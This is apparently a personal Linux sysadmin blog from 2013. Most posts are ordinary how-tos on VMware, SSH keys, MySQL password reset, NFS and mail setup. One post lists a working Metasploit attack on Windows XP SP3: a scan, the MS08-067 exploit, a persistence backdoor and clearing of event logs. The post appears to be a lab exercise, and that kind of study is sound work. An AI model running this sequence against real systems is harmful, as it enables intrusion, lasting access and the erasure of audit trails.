Tuesday, April 30, 2013

Install VMware Workstation in Ubuntu 12.10


1. Go on Google or VMWARE Website looking for Download files name:
1.1 VMware-Workstation-Full-8.0.4-744019.x86_64.bundle
1.2 vmware804fixlinux320.tar.gz

In this example is going to install VMware-Workstation Version 8.0.4 in Ubuntu 12.10

2. After download go to the directory that store the file and issue the command:

vannak@computer:~/Downloads$sudo apt-get install linux-headers-$(uname -r) build-essential
vannak@computer:~/Downloads$sudo apt-get install open-vm-tools open-vm-toolbox

vannak@computer:~/Downloads$chmod +x VMware-Workstation-Full-8.0.4-744019.x86_64.bundle
vannak@computer:~/Downloads$sudo ./VMware-Workstation-Full-8.0.4-744019.x86_64.bundle

and follow the following screen shoot:











ERROR:
Before you can run VMWARE,serveral modules must be compile and loaded into the running kernel.

Go to the download file: vmware804fixlinux320.tar.gz
Extract and run the patch
vannak@computer:~/Downloads$sudo tar -xvf vmware804fixlinux320.tar.gz
vannak@computer:~/Downloads$sudo ./patch-modules_3.2.0.sh
vannak@computer:~/Downloads$sudo patch vmware3.2.0.patch
[sudo] password for vannak:
(pam_mount.c:365): pam_mount 2.13: entering auth stage
patching file vmnet-only/filter.c
patching file vmnet-only/netif.c
patching file vmnet-only/userif.c
gcc and kernel headers must be installed

All done, you can now run VMWare WorkStation.
Modules sources backup can be found in the '/usr/lib/vmware/modules/source-workstation8.0.4-2013-04-26-23:31:56-backup' directory


and here a sample key:
VVVVV-AAAAA-NNNN-NNAAA-KKKKK

When we start it error: 
start the VMWARE by issue command:
sudo /etc/init.d/vmware start







When we start it error: 
sudo modprobe vmmon
sudo modprobe vmci
sudo modprobe vmnet

Check VM I network connectivity
sudo vmware-networks --status

start the vmware network it by issue command:
sudo vmware-networks --start

If There is no more Error!!, Let Go...!

Create VMWare:












Complete...!!  Enjoy ...! ;)

Monday, April 22, 2013

Is this a security issue ?
Yes and not, for Gnu/Linux systems if you have physical access to a computer you are a super-admin, and so you can use this method, or start with a live distribution to recover all the credentials of the system.
If you are worried about this you should probably set various layer of protection such as Password protected bios and grub and encrypted disk information (at least /home),


I will show some tip to get into the Linux System if you forgot your password..

Saturday, April 20, 2013

Hack Windows XP SP3 using Metaploit


######### H@cK  WinXP SP3 ###############

Scan IP/Computer for Attack
nmap -sP 172.15.5.0/24 
Check the type of the computer info:
nmap -sS -Pn -A 172.16.5.131
[ After searching, I select IP 172.16.5.131[XP-SP3 (nmap -A 172.16.5.131) ] for Attack]
Start Metaploit console in Ubuntu by issue command: sudo msfconsole
-----------------------------------------------------------------------------------------
1. msf > use exploit/windows/smb/ms08_067_netapi
2. msf  exploit(ms08_067_netapi) > set RHOST 172.16.5.131
3. msf  exploit(ms08_067_netapi) > exploit
4. meterpreter > migrate 212   (212 is the PID of  explorer.exe)
5. meterpreter > sysinfo
Computer        : VANNAK-D835B763
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
------------------------------------------------------------------------------------------
6. meterpreter > run persistence -h
7. meterpreter > run persistence -A -X -p 10000 -r 172.16.5.131
8. meterpreter > clearev


Auto Log in without password with SSH


Client Linux...!

#Go to ".ssh" folder On Ur computer and Generate the key
vannak@computer:~/.ssh$ ssh-keygen -b 1024 -t rsa -C vannak@mail.com

Note: Just Enter When the machine Ask..!!

Then u will have : id_rsa  id_rsa.pub  known_hosts

#Copy file id_rsa.pub to the the Server put in folder ".ssh" and rename to file authorized_key By:

vannak@computer:~/.ssh$ scp id_rsa.pub root@ur-server:.ssh/authorized_key

Type ur root password when it ask..!!

#Access with the ShortCut Name:  EX: "myserver.com.kh" to "server"
#vannak@computer:~/.ssh$sudo touch config
Add the following content

    Host server
  HostName myserver.com.kh
  User root
  Port 2200
  IdentityFile /home/vannak/.ssh/id_rsa
 -----------------------------------------------------------------------------------------------------------------
Client Windows...!
1. Generare Key on Windows Clients using puttygen (We will Have Public and Private Key)
Put your phaseprase and Save Public and Private Key
-Remove the first line and last line and replace the second line to 'ssh-rsa'
-And then remove all indention like follows. 'ssh-rsa

2. Go to your Server
- Create a folder name ".ssh" <>
- Create a file name "authorized_keys" in folder ".ssh"
- Copy All generate in "PublicKey" and paste to file "authorized_keys"

3. Go to your Window Client with Putty
- on Auth --> Browse to your "PrivateKey"

Note: You Always broswe to "PrivateKey" for each access.
It also Easy for YOU When We access to many DIFFENT SERVERS using Differnt KEYS....! ;)

View Welcome Message with SSH

Edit in file:
sudo nano /etc/issue.net

Find Zombie Process

Find Zombie Process:


ps aux | awk '{ print $8 " " $2 }' | grep -w Z

Related Command
pidof process_name
lsof -p 1111

Recover MySQL root Password


HowTo:
Step # 1: Stop the MySQL server process:
# /etc/init.d/mysql stop
Step # 2: Start the MySQL (mysqld) server/daemon process with the --skip-grant-tables option so that it will not prompt for password:
# mysqld_safe --skip-grant-tables &
Step # 3: Connect to mysql server as the root user:
# mysql -u root
Step # 4: Setup new mysql root account password i.e. reset mysql password: 
mysql> use mysql;
mysql> update user set password=PASSWORD("NEW-ROOT-PASSWORD") where User='root';
mysql> flush privileges;
mysql> quit
Step # 5: Exit and restart the MySQL server
# /etc/init.d/mysql stop
Step # 6: Start MySQL server and Test it.
# /etc/init.d/mysql start
# mysql -u root -p

NFS - Installation


NFS (Network File System) allows you to 'share' a directory located on one networked computer with other computers/devices on that network.

1. NFSv4 quick start
Install the required packages...

# apt-get install nfs-kernel-server

2. Configuration
You can configure the directories to be exported by adding them to the
/etc/exports file

/ubuntu  *(ro,sync,no_root_squash)
/home/IT xx.xx.xx.xx/24(rw,sync,no_root_squash,no_subtree_check)

You can replace * with one of the hostname formats. Make the hostname declaration as specific as possible so unwanted systems cannot access the NFS mount.

3. sudo /etc/init.d/nfs-kernel-server start

4. NFSv4 client
Install the required packages...

# apt-get install nfs-common

5. Edit /etc/fstab

file-server.example.com:/ubuntu /media/ubuntu nfs rsize=8192,timeo=14,intr
file-server.example.com:/home/IT /media/IT nfs rsize=8192,timeo=14,intr

Install Services send mail from our Server/Computer


#sudo apt-get install ssmtp
and it required 2 more Apps:    * heirloom-mailx
                                           * mailutils
#We need to edit, ‘/etc/ssmtp/ssmtp.conf’:
root=vannak@gmail.com
mailhub=smtp.gmail.com:587
rewriteDomain=
hostname=vannak@gmail.com
UseSTARTTLS=YES
AuthUser=vannak@gmail.com
AuthPass=V@nN@K'sPassword
FromLineOverride=YES

#Then add each account that you want to be able to send mail from by editing,
 ‘/etc/ssmtp/revaliases‘:

root:vannak@gmail.com:smtp.gmail.com:587
localusername:vannak@gmail.com:smtp.gmail.com:587

Install file .bin in Linux

Ex:

sudo chmod a+x filename.bin
sudo sh filename.bin

FTP download with username and password

Ex:
wget -c ftp://USER-NAME:PASSWORD@ftp.example.com/file.tar.gz &

Fix Skype in Ubuntu but when you are sign in. It is not appear on the panel

HowTO:

sudo apt-get install sni-qt:i386
gsettings set com.canonical.Unity.Panel systray-whitelist "['all']"

Linux command download utility


Linux command download utility:

aria2c -s10 http://example.com/ >/dev/null 2>&1 &

which means

    -s10: using 10 connections
    Redirecting stdout to /dev/null
    Redirecting stderr to wherever stdout is going, which is currently /dev/null because of 1.
    Last &: start a new process in the background

In this case both stdout and stderr will be sent to /dev/null.
Note

aria2c will immediately create a file in the destination with the same size as the file to download. It will fill this file as the download stream comes in. If you abort a download, make sure to also remove the file in the destination.

This blog will publish with the following set up in Ubuntu distribution.
DNS - Set up
LDAP - Set up
DHCP - Set up
SAMBA - Set up
NAGIOS
CACTI
IPTABLES
IPCOP
NGNIX
OpenVPN
FreeRadius

Virtulization OS:
Proxmox

Redmine
Jira and Confluence

Friday, April 19, 2013

CCNA

                                                             Chapters

Routing Protocol
  • Static Routing
  • Default Routing
  • Dynamic Routing
       - RIP
       - RIPv2
       - IGRP
       - EIGRP
       - OSPF
Frame-Relay
Managing Traffic with Access-list
NAT and PAT
PAP and CHAP
Switch
VPN
Layers
IP Addresses
Wireless